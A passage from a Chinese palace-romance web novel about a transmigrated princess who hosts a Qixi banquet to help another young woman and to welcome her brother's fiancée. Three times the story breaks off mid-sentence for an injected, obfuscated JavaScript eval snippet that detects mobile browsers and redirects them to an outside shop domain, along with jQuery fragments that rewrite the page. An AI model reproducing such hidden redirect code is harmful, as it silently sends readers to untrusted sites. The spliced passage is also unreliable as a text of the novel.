她以为自己的主意是个很不错的平替,却不成想崔璟祁轻轻摇了摇头,“不可,这顾家小姐敢在路上拦你的车架,你怎知她拿到你的信物会做什么?” “她已经太聪明了,你不要同她过多接触。”崔璟祁不满地总结,崔玉凝这种笨蛋不适合跟人精玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211497|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔玉凝不知道崔璟祁在想些什么,不过她很认同最后这句话,真正接触过后她也不喜欢女主,但为了以后还能光明正大地跟顾因勾勾搭搭,她嘴上却说:“可我觉得顾小姐人很好呢,只是这次她大概是真的遇到困难没办法了才找我求助的。” 说着还自夸起来,“谁让我仗义执言,做事公正呢……” 崔璟祁被妹妹的蠢样逗笑了,心道左右不过一个小丫头,要是真的利用凝儿,那他自然会清理门户。 崔玉凝从崔璟祁这里得到办法后就立刻放下墨块要走。 崔璟祁轻咳一声,崔玉凝又回过头来把刚刚带来的食盒打开一样一样摆在崔璟祁面前。 “阿兄,这是蜜桃塔,昨日我尝了,味道可好了。”崔玉凝从食盒中取出一个蜜桃塔递给崔璟祁。 见他不接还忙着批阅奏折,又把蜜桃塔凑到他的嘴边:“阿兄,你也尝尝嘛!” 崔玉凝夹着嗓子连自己都觉得恶心,不过好在崔璟祁很吃这一套,就着崔玉凝的手吃了一口蜜桃塔,片刻才吐出一句:“不错。” 她立刻接茬:“既然阿兄觉得不错,那这些点心阿兄记得吃完哦!凝儿就先回去了。” …… 回到公主府,崔玉凝立刻就叫了琅珠过来商讨举办宴会的事。 虽然参加了不少宴会,可这还是她第一次举办宴会,还得找个合适的由头。 “殿下,驸马……不是,小裴大人就要回来了,要不就为小裴大人办个欢迎宴吧!”琅珠差点忘了现在公主已经不喜欢驸马了,哦不对,又忘了,是不喜欢小裴大人了。 崔玉凝听琅珠说的磕磕巴巴,又把裴则叫做驸马,心里不顺意,轻轻眯起了眸子:“裴则回来不是裴家的事吗?我怎么能替他办宴会。” 就在刚刚一瞬间她想到这就是一个让女主和裴则见面的契机,不禁暗自赞叹自己的机敏,只是片刻又想到这不合适。 “有什么不能办的,以往殿下不还借着赏花宴的由头给裴大人办生日宴吗,大冬天叫了那么多人一起来花园赏一棵梅花。”琅珠拆起台来也毫不留情。 “那我都对裴则这么好了,他为什么还不喜欢我。”崔玉凝想问问小公主和裴则之间的关系,琅珠说的这些都是她不知道的。 琅珠没心没肺地答道:“可是驸马,哦不,小裴大人一次都没来过啊。” 崔玉凝闻言摆摆手:“那你快想点别的由头啊。”反正她想不出来。 琅珠站在一旁歪着头一副认真思考的样子,想了很久才说:“下个月是您的生辰,可是贵妃娘娘一定会帮您准备好,况且也不知道顾家小姐等不等的及。” “肯定来不及啊,”崔玉凝直接否定了,“你再想想别的。” 突然,琅珠面上一喜,似乎是想到了好日子,语气中都带着一丝兴奋:“殿下,乞巧节!过几日就是乞巧节了,您可以在府中办个小宴。” 被琅珠这么一提醒崔玉凝也想起来过几日就是七夕了,“不过乞巧节不是母后办的吗?” 琅珠对自家公主这个问题完全没有起疑,反而更加确信自家公主不喜欢小裴大人了。往年七夕公主都追着小裴大人跑,哪里会关心宴会啊。 “殿下,您忘了吗,大公主和三公主在成婚前都在府中办过小宴。”琅珠贴心解释道,“皇后娘娘的宴会既不会邀请外命妇,更不会邀请顾小姐。” 话说到这里就打住了,崔玉凝明白琅珠的意思,就是宫中的乞巧节她可以不去,那日不进宫在府中办小宴给顾因做脸。 她点点头,“那你就去办吧,过几日我进宫一趟跟母后说明。” 崔玉凝恨自己没有直接穿成皇帝,这样就不用事事报备了。 尤其是明明她做什么那几位都知道,还要她一趟趟进宫做到礼数周全。 11. 小宴 七月初七。 一连下了好几天的雨终于在今天早晨停了下来,十天前被恨透了的太阳,也在今天难得一见。 大概是七月初七,所以老天爷也格外给面子,想让牛郎织女不至于在雨中相会,更让京中的贵女们都能高高兴兴地过节。 晏宁公主府。 府中上下从清早就开始忙碌。 今日小宴是交由琅珠她们全权负责的,只有在邀请京中贵女时请示了崔玉凝。 几日前,琅珠她们特地抱来一本厚厚的册子,上面记载着京中贵女的出身、家世、与各府的亲疏关系,一页页翻给崔玉凝看。 “殿下,小宴不可邀请太多人。”琅珠小声提醒道,生怕自家公主一时兴起请来半个京城的贵女。 崔玉凝想想也是,自己跟皇后报备的时候说的是小宴,如果最后邀请了几十个人就不好了。 她翻着册子,只觉得眼花缭乱,这些人她大多不认识,请谁都差不多。 “那把表小姐叫来吧,”崔玉凝手里翻着册子,心里想着必须要找几个熟人,“对了,前几日进宫请示母后的时候遇上薇儿了,她求了母后想来乞巧小宴玩,也得给她留个位置。” “对了对了,还有太子妃也要给她发帖子!”崔玉凝就说自己有什么事忘记了,先前崔璟祁交代过,这场宴会可以给顾因做脸,那现在更要给他的未婚妻面子。 崔璟祁的未婚妻是皇帝前两日定下的,家世不显,甚至可以说整个京城的贵女都为之意外。 崔玉凝对这位准太子妃也知之甚少,只知道她叫姜时琦,是从江南来的,父亲战死母亲殉情,不久前孤身一人来京城投奔外祖。 连册子上都没有记录。 “还有谁啊……我记得还有人要请……”崔玉凝继续翻翻册子,她记得当时在宫里母后跟她说了好几家人。 “殿下,是顾家的小姐。”琅珠在一旁看册子被翻得哗哗作响,轻声提醒道。 “顾家?顾家有顾因一个就够了,其他人不能来。”崔玉凝头也不抬,她时刻谨记崔璟祁说过的话,不能太给顾家脸了。 琅珠无奈,俯下身从崔玉凝背后伸出手,把册子倒翻回几页,纤细的手指点了点“顾念琳”三个字:“是吏部尚书家的顾小姐。” 说完瞧见崔玉凝一脸疑惑又解释道:“是您之前见过的顾秉顾公子的亲妹妹。” 崔玉凝皱了皱眉:“她也要请吗?”崔璟祁不是已经给顾秉打叉了,怎么这会儿还要请他妹妹? 琅珠答:“太子殿下一人的想法不作数,贵妃娘娘和皇后娘娘对顾公子都很满意。” 崔玉凝闻言点点头,心想反正这些人小公主都不熟,请不请都没差。 “殿下,还有裴家的三位小姐也要邀请。”琅珠提醒道,“往常每一次宴会您都会邀请三位小姐,若是这次不请怕是会多想。” “嗯,那还有吗?”崔玉凝总算知道为什么要跟她商量了,其实名单琅珠她们早就拟好了,只是要一一给她过目,让她心里有个数罢了。 “还有魏家大房的三小姐和八小姐。”琅珠补充,“八小姐的姨娘的姐姐的女儿嫁给了顾小姐的兄长。” 崔玉凝点点头,表示自己明白了。 “她会给顾家传话对吧?”崔玉凝突然想到。 琅珠轻轻点头,又附在她的耳边说:“她最喜欢管这些闲事。” 听完这话崔玉凝噗嗤一笑,心道琅珠她们还是太靠谱了,连谁喜欢传话八卦都能算计到。 …… 天清气朗,阳光明媚。 “阿姐,你院子里的小花园怎么被你改成小菜地了?”崔玉薇一进崔玉凝的院子就开始扯着嗓子嚷嚷,一点公主的样子都没有。 彼时崔玉凝刚起床,随手指了指另一侧的小花圃,满不在乎地说:“什么小菜地啊,那儿不是还有花吗?” 崔玉薇一屁股就坐在她摆在丝瓜架下的躺椅上,钗儿她们还给她上了许多点心,她随手捻起一块,惬意地眯起眼:“真舒服啊,什么时候我才能跟阿姐一样出宫建府啊。” “还要好几年呢,你急什么。”崔玉凝懒洋洋地答道,端起茶盏抿了一口。 两人正说着闲话,忽然见章舒窈匆匆走进院子。 她手上拿着块帕子,眼眶红红的,显然是哭过的模样,给崔玉凝和崔玉薇都吓了一大跳。 “章姐姐怎么哭了?”崔玉薇直接从椅子上下来了,急匆匆地跑到章舒窈面前,拉着她的手上下打量。 崔玉凝也一改刚刚的懒散,坐起身问:“表姐这是出什么事了?” 章舒窈张了张嘴,想说些什么,又看了眼周围正各司其职的丫头们。 她抿了抿唇,一手牵着崔玉薇,另一只手扯着崔玉凝就进屋了,进屋前还不忘关上房门。 到了屋内只剩她们三人,章舒窈才红着眼睛开口:“我娘要把我许给谢家子。” 崔玉凝和崔玉薇两人都不熟悉这家人,异口同声问道:“什么谢家?” “谢不谢家不重要,重要的是谢离这个人常年流连于烟花柳巷之地,据说每天都在不同花楼姑娘的床上醒来。”说着说着她又红了眼眶。 声音里还带了哭腔,“这样的人,我娘竟要让我嫁给他。” 章舒窈不是不理解母亲的打算,只是觉得母亲实在是矫枉过正了,找一个普通人即可,结果偏偏是一个一点都不知道要洁身自好的纨绔子弟。 听完章舒窈的控诉,崔玉凝和崔玉薇也不知道说什么好。 尤其是崔玉薇一副自己年纪还小没办法的表情,把难题又抛给崔玉凝。 崔玉凝沉默良久,才缓缓开口:“舅母定不会害你。”这话说得连她自己都觉得心虚。 章舒窈的语气有些气急败坏:“谁说的,她就只想保住章家和裴家,让章骁过得好,我算什么!” “表姐,你别这样,说不定谢家子这些都是表象呢?”崔玉凝自觉安慰很没用,赶紧扯着一旁的崔玉薇说,“叫薇儿陪你一起在府里逛逛。” 说完还疯狂给崔玉薇使眼色,暗示她好好哄哄章舒窈。 崔玉薇接收到她的眼神,硬着头皮接话:“是啊章姐姐,说不定谢家子的事都是旁人以讹传讹,你娘亲怎么会害你呢,她肯定是仔仔细细调查过的。” “我们出去走走吧,别闷在屋里。”崔玉薇挽上章舒窈的胳膊,“一会儿皇嫂要过来,阿姐还要在这里等着迎客,我陪你去园子里逛逛,今日府里布置得可好看了!” 章舒窈也不是不讲理的人,只是心里实在委屈。她红着眼眶点点头,由着崔玉薇挽着出门去了。 …… 琅珠她们给她准备了一套簇新的夏装,夏天过半,这套衣服是临时赶制的。 为了第一次见准太子妃,或者说是第一位在非正式场合招待准太子妃的人。 那天进宫的时候,皇后拉着她的手反复叮嘱:“姜家那孩子身世可怜,初来京城,人生地不熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213583|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你一定要多多照顾。” 崔玉凝总结了一下主旨大意就是要想办法让京中贵女知道皇家对姜时琦的满意。 小说里太子压根就没活到成亲,姜时琦又是平时聚会都见不到的人,也不知道皇帝是怎么想起来把她指给太子做太子妃的。 以崔玉凝对太子的了解,这位太子妃绝不是他求来的。 正想着,珠儿进来通禀:“殿下,太子妃已经到了府门外。” 崔玉凝拿捏不好度,但根据现代的经验,嫂子第一次上门,她怎么着都得热情。 思来想去,她还是决定亲自去迎:“青酒,随我去正厅。” 她的院子就在公主府正厅的后面,只要几步路就到了,倒是比姜时琦从正门过来要快一些。 崔玉凝在正厅里站定,理了理衣袖,又检查了一遍茶点,确认一切妥当后,才微微松了口气。 在等姜时琦过来的时候,崔玉凝还跟立在一旁的青酒开玩笑:“也不知你未来主母好不好相处。” 话音未落,青酒立刻变了脸色,单膝跪地,双手抱拳,语气中甚至带着一丝慌乱:“殿下,奴婢生是公主的人,死是公主的鬼,还请您不要再说笑了。” 崔玉凝低头看着跪在地上的人,脸上的笑意淡了一瞬,不过声音里却还透着欢快:“那定是很好相处的!” 青酒这才起身,垂首立在一旁,不敢再多言。 崔玉凝将视线移向正厅门口,心里却转过几个念头。她把青酒要过来的时候就没打算防着她做事,崔璟祁查她也从来都是光明正大的,但青酒总是偷偷摸摸的。 崔玉凝在心里叹了口气。 正想着,廊下传来细碎的脚步声。崔玉凝抬眼望去,只见一道纤细的身影正由婢女领着走过来。 姜时琦进来的时候看见的就是这位大晏最尊贵的小公主一副笑眯眯的模样,不过身边的侍女倒是很紧张。 “臣女姜时琦,见过晏宁公主。”虽然陛下已经下旨赐婚,但现在姜时琦还没入东宫,还是需要向崔玉凝行礼。 崔玉凝本着热情友好的态度,立刻几步上前,扶起半蹲的姜时琦,“嫂嫂快起来,你这样我都不好意思了。” 一句“嫂嫂”叫得姜时琦羞红了脸,她抬起头,有些无措地看向崔玉凝,耳尖都染上了绯色。 崔玉凝见她这副模样,深觉父皇眼光精准,两人真的很配! 见姜时琦不说话,她又顺势挽住姜时琦的手臂,语气亲昵地接道:“母后和阿兄都说了,要我好好照顾你。嫂嫂你就在我这里放心玩吧!” 崔璟祁当然没有叮嘱过她,不过他肯定知道这件事,没特意嘱咐那就是默认母后的说法了。她这样说,也不算撒谎。 姜时琦闻言,眼眶微微有些发热。自从父母亡故,她步履薄冰,来京城后更是处处小心翼翼。 被封为太子妃后恶意和恭维就一起来了,生活变得更糟了。 “多谢殿下。”姜时琦扬起一个微笑,觉得皇家也不像几个表姐说得那么可怕,至少晏宁公主很好。 未来的夫婿,也很好。 崔玉凝不知道自己一句话给崔璟祁在未来妻子那里加了那么多分,她只想着好好招待嫂嫂。 “走吧嫂嫂,我带你进去,薇儿和表姐都在后头呢。”说完崔玉凝意识到姜时琦可能不知道表姐是谁,又解释:“我表姐就是章家大小姐章舒窈,薇儿你应该已经见过了。” 姜时琦点点头:“多谢殿下。” 12. 七月初七是七夕 “嫂子,你别叫我殿下了,跟阿兄一样叫我凝儿吧。”崔玉凝听着姜时琦一口一个殿下有些不适应。 两人一路走一路聊天,崔玉凝知道了姜时琦今年同裴则一样大。原先因为跟着父亲在江南就职一直未说亲,再后来……上门说亲的都是想让她做继室。 姜时琦说得动情,崔玉凝听得动气。 她这会儿才知道大晏虽然民风开放,可在婚事上却是沿袭了前朝习俗。 女子及笄男子加冠后需要成婚,若是女子拖到二十还未成婚就只能给别人做继室填房,对男子倒无甚要求。 听到这里她算是明白为什么二公主和三公主去年都匆匆成婚了。 不过无论皇帝赐婚动机如何,如果世人都能看到太子妃年过二十依然能嫁入东宫也一定会对女子宽容一些的。 …… 花园里崔玉薇和章舒窈早就玩开了。 就连一开始还在哭哭啼啼的章舒窈看起来也早已经把那些事情抛之脑后了。 见崔玉凝带着姜时琦过来,两个人一同起身迎接。 “嫂子!”崔玉薇在宫里见过姜时琦。 作为现下唯一一个常年住在宫里的公主,皇后第一次召见姜时琦的时候特地叫了她到坤宁殿作陪。 “薇儿,好久不见。”姜时琦说话温温柔柔的,虽然从江南来却没有一点江南口音。 “嫂子你也来玩啊,我跟章姐姐在打双陆呢,刚好你可以跟阿姐一起玩!”崔玉薇难得出宫可舍不得把玩的机会让出来,话里话外都是叫崔玉凝和姜时琦两个人自己玩的意思。 崔玉凝没玩过双陆,诚然她很好奇,但她还没忘记自己费劲巴拉办这场宴会到底是为什么,立刻拿出姐姐的架势:“薇儿,你去陪嫂子玩,如果没让嫂子尽兴我就去告诉太子哥哥!” 说完又侧身转向一直跟在身后的青酒,小声吩咐:“你去西院把顾小姐叫来,就说公主在这里等她。” 这头吩咐完,看着青酒快步离开,崔玉凝又走到被“冷落”的章舒窈旁边,轻轻拉起她的手。 章舒窈被突然出现在身后的崔玉凝吓了一跳,“你干什么,太子妃不太会懂规则,我在教她呢!” 崔玉凝被章舒窈瞪了一眼也没管,自顾自拉着她往角落走,一边解释原因:“一会儿有个姑娘过来,你好好关照人家一下,带着她玩一玩。” 听到还有个姑娘要来,章舒窈立刻眯起眼睛可疑地盯着崔玉凝看,就好像崔玉凝背叛了她。 见她这副模样崔玉凝只好把来龙去脉都解释了一遍,结果不但没得到章舒窈的理解,反而还被质问了。 “你为什么突然就要帮她,你跟她不就只见了一面,为什么这么好心?”章舒窈一连几个问题打过来。 “你看上顾家的男子了?”章舒窈自言自语道,“不应该啊,这不是那个顾家,这家的人连章骁都比不上,你不可能看上他们啊。” 突然,章舒窈不知道想到了什么,用特别难以置信的语气开口问:“是不是他们家人骗你了?不行,我得跟姑姑说一说,让她好好教教你怎么防骗!” 崔玉凝被章舒窈的脑回路惊呆了,见她要叫自己的婢女去传信立刻拦住她:“表姐表姐,我不是我没有,我怎么可能喜欢他们!反正我有自己的原因,你别管那么多,只要帮我好好招待她就好。” 听了崔玉凝的话,章舒窈的疑虑依然没有打消,只是转念一想这个主意是太子出的,既然有太子兜底那么自己也没必要瞎操心。 崔玉凝见章舒窈终于点头,又把她送回姜时琦身边。 姜时琦睁着一双水润润的大眼睛看向崔玉凝,看得她有些不好意思,“嫂子,一会儿还有个姑娘要过来,她最近暂住在公主府,就住在西院,一会儿你们可以一起玩。” 姜时琦想到自己也借住在外祖家,猜到这位姑娘大概也是遇上什么难事才不得已如此,善解人意地点点头,说:“没关系的,凝儿你今天是主人家,顾及不暇的地方我们自然会替你周全,好好招待大家的。” 闻言崔玉凝松了口气,第一次办宴会,别看她表面不动如山,实际上心里真的很怕被别人看出来自己不像小公主。 公主府虽大,但西院离花园不算远。几人闲聊几句,青酒就带着顾因主仆过来了。 “殿下,顾小姐来了。”青酒下意识要抱拳,又想起自己穿的侍女服,生硬地收回刚抬起到腰的手行了侍女礼,又乖乖站到崔玉凝身边。 青酒走后,原本跟在青酒身后的姑娘上前半步,屈膝福了一礼,口中清晰道:“顾因见过晏宁公主、六公主、章姑娘。” 语毕又看向亭中不曾见过的气度温然的姑娘,犹豫道:“这位……” “这位是太子妃。”崔玉薇人小鬼大见这个姐姐看着紧张就主动解围,结果吓得顾因当场就要行大礼了。 还是姜时琦出声解释:“还不是太子妃,顾小姐叫我姜姐姐就好。”在场的人都未成婚,年纪再不可能比她大了,一声姐姐完全没问题。 “顾因见过姜姐姐。”顾因猜到晏宁公主特意叫她过来的意图了,心中十分感激,但这些话又不便说出口,只好默默藏在心里。 见在场的几人都相互认识了,崔玉凝也就放心了。叫她们几个认识顾因,目的已经达成了大半。 她笑眯眯地看着顾因加入她们,说:“一会儿其他人都来了,我去前面看看。” 话音刚落章舒窈便挥了挥手,一副“别来烦我”的模样,说:“快走快走,别在这儿挡着了。” 这话其他人不敢说,但听完,都不自觉勾起唇角,心照不宣地垂下眼。 …… 由于崔玉凝在发出邀请的时候特意强调小宴安排在中午,大家都早早地来了。 裴家姐妹是最先到的,以前因为裴则的关系小公主经常邀请她们一起玩。 一进门裴依月便福了福身,笑道:“见过晏宁公主,前些日子听闻公主身体不适,现在可大好了?” 崔玉凝:“早都无碍了,裴姐姐里面请,表姐她们都在花园呢。” 裴依月是裴家除了裴太傅外对小公主最友善的人,她与裴依彤都是裴家二房也就是裴则二叔的孩子,目前都已经嫁人了。 裴家还有一位小姐叫裴斯若,是裴则的妹妹,不过不是他母亲亲生的。 刚刚一进门,裴依彤和裴斯若除了跟着裴依月行礼外一句话都没说,甚至能从脸上看出不耐。 这还是崔玉凝来到大晏后第一次明晃晃地感受到恶意,她瞥了一眼站在裴依月身后的两人,蹙了蹙眉,再次催促道:“青酒,带着三位小姐去找六公主她们玩吧。” “是。”青酒这次没忘记自己的侍女身份,福身带着三人退下了。 送走裴家姑娘,魏家姑娘随后就到了,魏家三娘魏云轻同魏家八娘魏云枝都不是省事的性子,一来就咋咋呼呼的。 “好久不见公主,这一个多月也不见公主办宴会,我跟姐姐们在家都要闷得发霉了。”魏云枝非常自来熟,不过能猜到魏家女是晏宁公主的常客。 “前些日子一直不曾降雨,自然不好玩乐。”崔玉凝在拼命回忆这是三小姐还是八小姐,“这不是趁着乞巧节把大家叫出来小聚。” 回忆失败,魏家人口太多,哪怕不算奴仆光是主子怕是也有上百口人了。 同样是建朝初期的世家,章家就人丁稀少,到现在家里的主子更是一只手都数的过来。 “殿下,我们没来晚吧?”魏云轻声音温温柔柔的,“您在帖子上说是午宴,我们早早就出门了。” 这声音简直酥到了骨子里,感觉飘飘然的,崔玉凝道:“没来晚呢,其他人都在花园里,叫珠儿带你们去。” 原本候在一旁的珠儿听到公主吩咐立刻上前一步,冲着魏家两位小姐福了福身,带着她们出了正厅向花园去了。 …… 又过了许久,崔玉凝等得心焦,看向陪在一旁的琅珠,问:“是不是帖子没有送到顾念琳手上?” 琅珠看了眼崔玉凝,只觉得自家公主耐性愈发差了,现在离午宴开始还有大半个时辰,哄道:“时辰还早呢,殿下若是无聊可以去花园同小姐们玩乐,这里有奴婢呢。” 崔玉凝听了这话有些心动,但心动不过片刻又坐回去,她不能放着顾念琳一个人不管,免得小姑娘以为她们孤立她。 琅珠见公主站起又坐下,便想着同公主聊天解闷:“殿下,花园里大家估摸着现在正在做巧果呢,一会儿您要做什么样的?” 其他人的乞巧宴都在晚上,女孩子们通常会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223965|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月光下比赛穿针,还会赏月吟诗,看牵牛星和织女星相会。 不过崔玉凝把宴会设在中午,这些传统活动更是能砍则砍,最后就剩下互相欣赏手艺,做巧果,还有吃饭了。 比手艺要等人齐了再开始,做巧果时间长,方才章舒窈打双陆打累了就叫璎珞把做巧果的东西都拿上来了。 “顾小姐来了。”丫鬟进来通传的时候琅珠和崔玉凝同时松了口气。 前者是因为公主终于不用转来转去了,后者是因为宴会终于可以开始了。 顾念琳是第一次来公主府,平时母亲管的严,从来不让她参加晏宁公主的宴会,也不让她跟她们这群人一起玩。 这次是因为三哥的事,前些日子三哥跟着二哥去了一趟东宫回来后就没有消息了,刚好这次接到晏宁公主的请帖,母亲立刻就叫她收拾东西过来了。 “念琳见过公主。”顾念琳脸上的婴儿肥还未褪去,崔玉凝记得琅珠说过她好像才十二还是十三岁,肉嘟嘟的小脸看了就让人想上手。 崔玉凝心里欢喜,暗暗唾弃自己的颜控本质,又忍不住上手,“念琳来了,这一路可好?” 顾念琳听到这话不由得一怔,顾家与公主府同在城北,这一路无论如何都算不得长,也不知道公主这是何意。又想起出门前母亲的嘱咐,斟酌再三开口:“多谢公主关心,臣女一路安好。” 崔玉凝一脸姨母笑,怎么看顾念琳都觉得可爱,顾家人果然生的都很好,“那我们去后面吧,大家都在那儿了。” 顾念琳点点头,任由自己的手被公主牵着,心里暗暗下定决心一定要让公主成为自己的三嫂。 …… 花园凉亭内,几人正一边做巧果一边闲聊,就崔玉薇还在拉着章舒窈打双陆。 崔玉凝拉着顾念琳走近几步就听到魏云枝在问顾因:“顾小姐原来在公主府啊,我听姨娘说还以为顾小姐回外祖家了。” 魏云枝没有恶意,只是她一直看不上顾家的做派,要她说都是祖上阔过留下来的穷毛病,自家女儿不见了也不着急,反而是到处宴请。 顾因张了张嘴,解释道:“公主心善,看我无处可去才叫我住在府里。” 魏云枝点点头:“晏宁公主是最心善的。” 听完两人对话的裴斯若在一旁撇了撇嘴。 崔玉凝将亭内每个人的状态都尽收眼底,待话题过去才拉着顾念琳进去。 “现在人到齐了,我可盼了好几日,大家这巧果做得如何,可叫我尝一尝?”崔玉凝语气里满是欢喜。 崔玉薇专心致志打双陆,听到她的声音头也没回道:“阿姐什么都不做就想尝一尝,真愁人啊。” 闻言崔玉凝立刻放下顾念琳的手,走到崔玉薇身后轻轻拍了一下她的脑袋,“你少来了,你不也没做。” 众人瞧见姐妹俩的互动,都放松下来,裴依月主动提起站在一旁不知所措的顾念琳,问:“这位妹妹不曾见过的,你是哪家的小姐?” 在场几人除了崔玉薇年岁都差不多,从小就在一起玩,而顾念琳却是不怎么见过。 闻言顾念琳福了福身,“家父是吏部尚书,我叫顾念琳。” 裴依月笑着指了指自己和两个妹妹,说:“我们是裴家的。” 顾念琳点点头,她都认得的,来之前母亲给她讲过。 “顾妹妹来我这里吧。”顾因出声道。 顾念琳看了眼叫自己的女子,这位……母亲没有说过。 在她犹豫之际,崔玉凝率先开口替她们介绍:“这位是顾因,她父亲是兵部侍郎,现在跟我住。” 别看这只有几句话,但都是崔玉凝仔细斟酌过的,既要想办法叫人知道自己在给顾因撑腰,又不能给顾家面子。 说完她又想起来顾念琳大概也不认识姜时琦,遂故意重重地咳了两声:“这位,是父皇下旨赐婚的太子妃,也是我未来的嫂子!” 众人目光随着她的介绍聚焦在姜时琦身上,害得她闹了个大红脸。 一番说笑过后,日头渐高,虽然亭子周围摆了冰鉴却依然燥热。崔玉凝站起身,大手一挥:“亭子里太热了,大家一起移步花厅用饭吧。” 话音未落,章舒窈就已经起身了:“可算等到这句话了,我早就想挪地方了!” 13. 他回来了 花厅里摆了好些冰鉴,刚进花厅的时候大家都发出了舒服的感慨。 饭菜早已端上桌,大家自觉围着崔玉凝入座。 刚坐下崔玉凝就先召呼顾因坐到自己身边,她的另一侧是崔玉薇。 魏云枝瞧见这个作为暗暗冲魏云轻使了个眼色,另一边的裴家三姐妹也在暗地里悄悄交换眼神。 这次宴会崔玉凝特意没有安排其他宴会的小案几,而是搬了一张平时家宴用的大圆桌,为的就是方便实现目的。 落座后,章舒窈便招手让人把自己特地带来的酒端上来,趁着璎珞给大家倒酒,主动介绍:“这是我亲手酿的青梅酒,一直都没机会尝一尝,今日乞巧节请各位姐姐一同品一品。” 崔玉凝蹙眉看向她,没有提前跟她说要喝酒啊,现在这酒喝下肚可不是一会儿半会儿就能散了的。 “表妹怎么突然要喝酒,我记得姑姑可是明令禁止了。”裴依月唇角弯起一抹轻软的笑看向对面姿态豪迈的章舒窈。 章舒窈张了张嘴,很多事不便说,尤其是在魏家人面前,谁不知道她们家人多话多,什么事让她们知道整个京城都得知道。 “表姐别告诉我娘,只是今日过节,所以才想着尝尝,这酒还是我偷偷藏在房里的。”章舒窈俏皮地眨眨眼,一副叛逆妹妹的模样。 裴依月也不多言,端起酒杯浅饮一口,表示对章舒窈的支持。 有裴依月开了这个头,原本还在观望的裴依彤和裴斯若也跟着端起酒杯,小心翼翼地品尝起来。 …… 在场的大家闺秀都不常喝酒,几乎都没有量,这一喝起来一个个倒是都醉的很快。 崔玉凝没喝,小公主不胜酒力,她不喜欢醉醺醺的感觉。 作为在场为数不多清醒的人,她看着大家都强撑着端坐在椅子上有些于心不忍,章舒窈一共也就带来了一坛子,还是那种小坛子,不至于喝成这样吧。 崔玉凝心怀疑惑,叫琅珠璎珞一个一个将醉酒的人搀下去休息,自己端起面前的酒杯闻了闻。 “表姐这还真是酿酒天才啊。”在酒精纯度不高,连喝几大碗都不会醉的地方,章舒窈居然能酿出这么纯的青梅酒。 见她拿着酒杯,崔玉薇立刻凑了过来,因为她年纪小,刚刚倒酒的时候就没有她的份。 “阿姐,你在喝酒吗?给我也尝尝呗。”崔玉薇很好奇这酒是什么味道,怎么就叫几个姐姐喝了一杯又一杯还都醉倒了。 崔玉凝轻轻推开崔玉薇的脑袋,重新把酒放回桌上:“小孩子家家喝什么酒,脑子要坏掉的。” 因为众人都喝多了,后边琅珠特意安排的其他活动也不了了之,她跟姜时琦和崔玉薇也没甚可聊:“嫂子,你跟薇儿也一道去客房歇歇吧,累了一上午是要好好休息一下。” 姜时琦方才一直克制自己只是浅饮一小杯,虽然没醉这会儿也不是很舒服,欣然接受了崔玉凝的建议。 待人走后崔玉凝自己也回了院子,自觉今日目的全部达成,心满意足。 现在就等着魏家姐妹回家传话,好叫顾家知道顾因已经得到了晏宁公主的支持。 到时候顾家猜到前因后果自然就会乖乖请顾因回家再把嫁妆还给她。 至少不会再这么明目张胆地霸占了。 …… 崔玉凝在房里休息,忽然听见屋外淅淅沥沥的雨声。 她起身,推开窗,抬头看是乌云密布。 “还以为今天是个好天气呢。”崔玉凝小声嘟囔着。 守在外间的璎珞听到屋内的动静后便轻手轻脚地推门进来了,见公主站在窗边,轻声提醒到:“殿下进来些,不要被雨水淋湿了。” 崔玉凝没回头,说:“这雨什么时候才能停啊。” “一会儿你去问问大家要不要在公主府留宿。”崔玉凝看着窗外的雨幕叹了口气,看状况如果雨下得再大一点就不用回去了。 “是。”璎珞应声退了出去。 …… 雨一直下,直到傍晚雨势才渐渐小了。 崔玉凝带着琅珠璎珞一起去送客,大家都急着回家,各家马车早就等在公主府门口了。 如何离开这些小事琅珠自会安排妥当。 崔玉凝站在府门口一路目送她们离开,点头微笑挥手,直到最后一辆马车转过街角才松了口气:“可算结束了,这也太累了。” 璎珞赶紧接上:“殿下,一会儿我给您捏捏肩放松放松。” 崔玉凝胡乱点点头,毫无疑问她不要再办宴会了,虽然策划是琅珠,执行又有其他人,可她心累。 “殿下,”送完人回来落后一步的琅珠忽然出声。 “怎么了?”崔玉凝回过头…… 雨声沥沥害得她连马车过来的声音都没听见。 她穿过檐下雨帘与马车里的人对视,那人的眼神依旧沉静,或者说同上一次见面相比更加古井无波。 崔玉凝怔住了。 好久不见。 那人也看到了她,掀起的车帘忽然就被放下,马车离开了。 崔玉凝回过神,“走吧。” 璎珞平时就是个话多的,待马车走后立刻就忍不住了:“那是小裴大人吗?黑了好多啊,我差点都没认出来。” 崔玉凝没接话,琅珠悄悄冲璎珞使了个眼色,摇了摇头。 